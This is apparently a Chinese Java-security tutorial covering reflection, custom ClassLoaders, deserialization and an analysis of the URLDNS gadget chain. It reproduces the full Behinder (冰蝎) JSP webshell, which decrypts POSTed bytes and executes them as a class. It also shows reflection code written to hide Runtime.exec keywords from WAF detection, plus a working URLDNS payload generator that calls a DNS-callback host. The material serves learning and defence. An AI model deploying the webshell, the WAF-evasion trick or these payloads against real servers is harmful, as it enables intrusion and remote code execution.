目录

• 一、JAVA反射机制
• class对象
• 字段获取和修改
• 字段
• Final
• 方法获取和访问
• 构造函数获取和使用
• Java反射应用
• 二、ClassLoader机制
• 自定义ClassLoader
• 冰蝎Webshell分析
• 三、反序列化
• 四、URLDNS链分析

一、JAVA反射机制

class对象

每个类都有且仅有一个class对象。通过类和对象都能获取到类的class对象，获取到class对象有下面三种方式

1.Student.class   //通过类名.class的方式获取class对象
2.stu1.getClass()   //通过类对象.getClass()的方式获取class对象
3.Class.forName("com.test.Student")  //通过全限定名的方式获取class对象

Java反射机制一般有下面三种用途：字段获取和修改、方法获取和访问、构造函数获取和使用。

字段获取和修改

字段

我们可以通过下面的方法来进行字段获取：

在进行私有属性获取时，有两个注意事项。第一，必须使用getDeclaredField(s)函数来获取。第二，在对字段进行操作之前，必须field.setAccessible(true);这个表示设置允许对字段进行操作。
对字段的操作一般分成获取和设置，基本操作如下

可以用以下代码来获取字段的值

StudentS studentS = new StudentS(1);
//获取class
Class<StudentS> clazz = StudentS.class;
//获取字段age
Field age = clazz.getDeclaredField("age");
//设置age可读，如果是private或者protect需要设置这个
age.setAccessible(true);
//获取对象的字段值
Object o1 = age.get(studentS);
System.out.println(o1);

//最后输出1

设置字段的值

 age.set(studentS,2); //如果是static，对象设置成null

Final

当final修饰一个数据域时，意义是声明该数据域是最终的，不可修改的。使用传统的方式对final修饰符的字段进行修改，代码运行不会报错，但是实际上却是进行的伪修改，真正的字段值并没有被修改。那有什么办法可以修改final属性的值吗？
final字段能否修改，有且取决于字段是直接赋值还是间接赋值（编译时赋值和运行时赋值的区别）。直接赋值是指在创建字段时就对字段进行赋值，并且值为JAVA的8种基础数据类型或者String类型，而且值不能是经过逻辑判断产生的，其他情况均为间接赋值。具体如下所示：

1）下面的直接赋值方式不可修改

private final String name= "zhangsan";
public final int age = 10;
public final int age = 10+1;

2) 经过逻辑判断产生的变量赋值可以修改

private final String name = (null!=null?"zhangsan":"zhangsan");

3）new生成的对象赋值可以修改

private final StringBuilder name = new StringBuilder("zhangsan")

4）通过构造函数进行赋值的final字段可以修改

  private final String name;
    public Student(){
        name = "zhangsan";
    }

对于既有final又有static修饰的字段，不能直接通过反射的方式来修改变量执行，否则会报错
这时候可以通过反射修改final修饰符的值，然后就可以进行正常的修改了，主要增加的代码如下

Field modifiers = field.getClass().getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);

方法获取和访问

获取方法的函数和获取字段的函数很相似，在使用上也基本一致。这里需要强调的是getMethod方法的第二个参数，代表的是想要获取方法的参数类型。第二个参数需要传入的是参数对应的class对象，多个参数以数组的形式传入。
要使用通过反射获取的方法，需要使用invoke函数。关于invoke方法的使用如下：

假设StudentS里面有个join方法
如下：

   private String join(String name,String name2){
        return name + name2;
    }

Class<StudentS> studentSClass = StudentS.class;
Method join = studentSClass.getDeclaredMethod("join", new Class<?>[]{String.class, String.class});
join.setAccessible(true);
Object invoke1 = join.invoke(studentS, new Object[]{"2", "33"});
System.out.println(invoke1);

在调用私有多参数方法时，需要注意下面几个问题：
1） 私有方法执行需要使用method.setAccessible(true)来设置允许访问。
2） 使用getDeclaredMethod获取多个参数的方法，第二个参数为new Class[]{}类型的数组，数组中每一个值对应参数的class对象。这是一种标准的传参方式，建议即使方法没有参数或者只有一个参数也按照这种方式传参。
3） 使用method.invoke方法对方法进行调用，传递的第二个参数表示实际调用时传递的参数值，类型是Object数组。
对于static类型的方法，与字段的使用方法相似，在执行方法时，同样可以把obj对象换成null

构造函数获取和使用

在获取到构造函数之后，需要通过newInstance函数来生成类对象。关于newInstance的使用如下所示：

用法：

Constructor<StudentS> declaredConstructor = studentSClass.getDeclaredConstructor(int.class);
declaredConstructor.setAccessible(true);
StudentS studentS1 = (StudentS)declaredConstructor.newInstance(10086);
System.out.println(studentS1.getAge());

Java反射应用

Java反射作为Java安全学习过程中最重要的概念，后面很多关于Java漏洞编写poc或者exp都要用到Java反射。但是因为我们现在还没有说到反序列化，就暂时不说反射在反序列化利用链中的作用。这里只说反射的一个简单应用，通过反射来隐藏webshell关键字，绕过WAF检测。
最简单的一个java执行命令的方式如下

Runtime.getRuntime().exec("open /System/Applications/Calculator.app");

很多WAF在检测webshell的时候会基于关键字Runtime、getRuntime、exec这三个关键字来进行规则匹配。下面我们就通过反射来隐藏着三个关键字，如下图所示。我们把着三个关键字都写成了字符串变量，稍微做一下字符串拼接也就没有这三个关键字了。

        Class<Runtime> runtimeClass = Runtime.class;
        Method getRuntime = runtimeClass.getMethod("getRuntime");
        Object invoke2 = getRuntime.invoke(null, new Object[]{});
        Method exec = runtimeClass.getMethod("exec", String.class);
        exec.invoke(invoke2,"open /System/Applications/Calculator.app");

二、ClassLoader机制

自定义ClassLoader

java中默认提供了三类classloader，分别加载不同目录下的class或者jar包，如果有一些非通用的需求，比如想从一个特定的位置加载class，如http地址、网盘、U盘等；又比如想对class做一些隔离；这个时候，默认的classloader就不能满足要求了，需要自定义classloader

对于一般的JAVA开发人员来说并不太关心ClassLoader类加载机制，但是ClassLoader是学习java安全中的一个极重要的概念，ClassLoader为攻击者提供了一种执行任意java代码的途径，有点类似于PHP中的eval。当然ClassLoader的用法要比eval复杂很多。

class U extends  ClassLoader{
    public Class<?> getClassObject(byte[] raw){
        return defineClass(raw,0,raw.length);
    }
    public static byte[] readInputStream(InputStream inStream) throws Exception {
        ByteArrayOutputStream outStream = new ByteArrayOutputStream();
        byte[] buffer = new byte[1024];
        int len = 0;
        while ((len = inStream.read(buffer)) != -1)
        {
            outStream.write(buffer, 0, len);
        }
        inStream.close();
        return outStream.toByteArray();
    }
}

只要能读取到byte流就可以，class源可以是本地，远程。

    public static void main(String[] args) throws Exception {
        FileInputStream in = new FileInputStream("/Users/XXX/eclipse-workspace/javaproject/demo/demo/JavaHomeWork/out/production/JavaHomeWork/me/xmao/jcyf1/Panda.class");
        Class<?> c = (new U()).getClassObject("me.xmao.jcyf1.Panda",U.readInputStream(in));
        Constructor<?> declaredConstructor = c.getDeclaredConstructor(String.class, int.class);
        Object xmao = declaredConstructor.newInstance("xmao", 1);
        Method getName = c.getMethod("getName");
        Object invoke = getName.invoke(xmao, null);
        System.out.println(invoke);
    }

冰蝎Webshell分析

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
  class U extends ClassLoader{
    U(ClassLoader c){
      super(c);
    }
    public Class g(byte []b){
      return super.defineClass(b,0,b.length);
    }
  }
%>
<%
  if (request.getMethod().equals("POST")){
    String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
    session.putValue("u",k);
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
  }
%> 

g方法用来加载远程的Class
冰蝎调用了.equals方法来传递恶意的object，用来调用恶意代码，非常妙。
c.newInstance().equals(pageContext);

三、反序列化

反序列化漏洞是java安全中最常见的漏洞之一，学习反序列化漏洞的相关知识有助于帮我们掌握更多关于java安全系统性内容。

序列化是指把内存中的对象转化为字节序列，主要用于在不同程序之间传递和存储对象。而反序列化是指把字节序列重新转化为对象。例如，weblogic通过t3协议来和其他java程序之间传输数据，数据传输的方式就是通过序列化和反序列化来实现的，这也是导致weblogic经常爆出反序列化漏洞的根本原因。

import java.io.*;

class User implements Serializable{
    private String name;
    public User(String name) {
        this.name = name;
    }
    // 方便打印查看类的信息
    @Override
    public String toString() {
        return "User{name=" + name + '}';
    }
}
public class Demo1 {
    public static void main(String[] args) throws Exception {
        User user = new User("zhangsan");
        String filename = "user.ser";
        serialize(filename, user); // 把对象序列化保存到文件

        User user1 = (User) unserialize(filename); // 从文件反序列化对象
        System.out.println(user1);

    }
    // 序列化对象并保存到文件
    public static void serialize(String filename, Object obj) throws Exception{
        // 创建一个FIleOutputStream
        FileOutputStream fos = new FileOutputStream(filename);
        // 将这个FIleOutputStream封装到ObjectOutputStream中
        ObjectOutputStream os = new ObjectOutputStream(fos);
        // 调用writeObject方法，序列化对象到文件user.ser中
        os.writeObject(obj);
    }
    // 从文件反序列化对象
    public static Object unserialize(String filename) throws Exception{
        //  创建一个FIleInutputStream
        FileInputStream fis = new FileInputStream(filename);
        // 将FileInputStream封装到ObjectInputStream中
        ObjectInputStream oi = new ObjectInputStream(fis);
        // 调用readObject从user.ser中反序列化出对象，还需要进行一下类型转换，默认是Object类型
        return oi.readObject();
    }
}

反序列化漏洞是指在反序列化过程中自动执行类中readObject方法导致的漏洞，类似于PHP反序列化时会自动执行__wakeup方法一样。

JAVA没有魔术方法，只有一些经常会使用到的方法。JAVA在构造反序列化利用链时比PHP更加灵活，因为JDK代码大多数情况下还是JAVA编写的，可以方便的通过调试技巧来确定不同类方法之间的相互调用。

四、URLDNS链分析

URLDNS是ysoserial里面就简单的一条利用链，但URLDNS的利用效果是只能触发一次dns请求，而不能去执行命令。比较适用于漏洞验证这一块，尤其是无回显的命令执行，而且URLDNS这条利用链并不依赖于第三方的类，而是JDK中内置的一些类和方法。

ysoserial 直接生成命令：
java -jar ysoserial-all.jar URLDNS "[http://x.x"](http://6yy9ny.ceye.io") > out.txt

我们从ysoserial的源码学习 URLDNS链

public class URLDNS implements ObjectPayload<Object> {
    public Object getObject(String url) throws Exception {
        URLStreamHandler handler = new SilentURLStreamHandler();
        HashMap<Object, Object> ht = new HashMap<Object, Object>();
        URL u = new URL(null, url, handler);
        ht.put(u, url);
        Reflections.setFieldValue(u, "hashCode", Integer.valueOf(-1));
        return ht;
    }

    public static void main(String[] args) throws Exception {
        PayloadRunner.run(URLDNS.class, args);
    }

    static class SilentURLStreamHandler extends URLStreamHandler {
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

可以看到是将URL放到HashMap里面。

接下来我们从源码分析为什么这么做
找到HashMap的readObject方法，因为反序列后会调用这个方法。
readObject方法里面最关键代码，第1414行

for (int i = 0; i < mappings; i++) {
    @SuppressWarnings("unchecked")
        K key = (K) s.readObject();
    @SuppressWarnings("unchecked")
        V value = (V) s.readObject();
    putVal(hash(key), key, value, false, false);
}

在到hash这个函数里面

static final int hash(Object key) {
    int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

可以看到如果hashmap的key不为空，就会调用key的hashCode方法
根据ysoserial这里我们的key传入的 URL对象，我们去看URL对象的hashCode方法

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

只要hashCode != -1 就会直接return函数。
而我们要使用 hashCode = handler.hashCode(this); 就要想办法设置hashCode为-1
这个放到后面在看
handler 是一个URLStreamHandler 对象
这里调用了URLStreamHandler的hashCode，参数是this就是整个URL对象

protected int hashCode(URL u) {
    int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
    h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
    h += addr.hashCode();
} else {
    String host = u.getHost();
    if (host != null)
        h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
    h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
    h += getDefaultPort();
else
    h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
    h += ref.hashCode();

return h;
}

可以看到InetAddress addr = getHostAddress(u);

protected InetAddress getHostAddress(URL u) {
    return u.getHostAddress();
}

getHostAddress函数内部会去请求一次DNS
至此一次完美的利用链构成了
HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URL.getHostAddress()

试着自己模仿写了一下利用链
完整Payload

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class URLDNS {
    public Object getObject(String url) throws Exception {
        HashMap<Object, Object> ht = new HashMap<Object, Object>();
        URL u = new URL(null, url);
        Class clas = Class.forName("java.net.URL");
        Field field = clas.getDeclaredField("hashCode");
        field.setAccessible(true);

        field.set(u,-1);
        ht.put(u, url);
        return ht;
    }
    public static void main(String[] args) throws Exception {
        Object poc  = (new URLDNS()).getObject("http://xx");


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(poc);
        objectOutputStream.close();

        byte[] bytes = byteArrayOutputStream.toByteArray();
        String s = Base64.getEncoder().encodeToString(bytes);
        System.out.println("payload="+s);

    }
}